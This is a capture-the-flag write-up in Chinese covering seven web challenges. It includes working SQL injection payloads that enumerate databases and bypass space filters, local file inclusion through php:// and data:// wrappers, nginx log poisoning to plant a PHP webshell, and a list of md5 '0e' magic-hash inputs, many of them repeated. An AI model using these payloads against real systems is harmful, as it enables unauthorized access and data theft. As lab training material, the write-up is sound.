Web1签到题
直接查看源码,base64解密
Web2
最简单的注入
尝试万能密码:
admin' or 1= 1#
密码随便输:
可判断闭合符号就是单引号;
判断回显位
payload:username=admin' or 1=1 union select 1,2,3 #&password=123
判断列数
payload:username=1' or 1=1 order by 3#&password=111
3的时候还会出现欢迎界面,4的时候就不行了,由此判断出字段数(列数)为3.
爆库
payload:username=1' or 1=1 union select 1,database(),3#&password=111
爆表名
payload:username=1' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2' #&password=111
表名:flag,user
爆出flag列名
payload:username=1' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#&password=111
爆值
payload:username=1' or 1=1 union select 1,flag,3 from flag #&password=111
web3
根据提示输入?url=/etc/passwd 成功显示,文件包含漏洞
使用php://input
协议
发现ctf_go_go_go,访问得到flag
另一种方法:
使用data://协议
通过通配符查找目录下的所有文件
?url=data://text/plain,<?php print_r(glob("*"));?>
得到ctf_go_go_go
web4
和web3类似,经过尝试发现过滤了php,但/etc/passwd可以显示,依旧是文件包含漏洞。
日志包含:
在查看日志文件时发现服务器是nginx,
在日志包含中,找到nginx的log有两种
1、?url=/var/log/nginx/access.log
2、?url=/var/log/nginx/error.log
access.log可以打开
进行日志注入:
在UA中写入一句话木马,使用蚁剑连接
得到flag
web5
ctype_alpha — 做纯字符检测
is_numeric — 检测变量是否为数字或数字字符串
考察md5绕过,要求v1为为纯字母,v2为纯数字,并且v1与v2的md5值相同。
md5漏洞介绍:
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0
所以只要v1与v2的md5值以0E开头即可。
v1=QNKCDZO&v2=240610708
这里附上常见的0E开头的MD5
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
web6
首先尝试万能密码
admin’ or 1=1#
报错了,经过测试,可以确定过滤了空格,我们可以用%0a
或者/**/
代替
判断列数
当order by 4时就显示错误,证明列数为3
下面判断回显点:
联合查询注入就行了
username=admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#&password=123456
username=admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema='web2'/**/and/**/table_name='flag'#&password=123456
username=admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#&password=123456
web7
和web6一样,过滤了空格,同上即可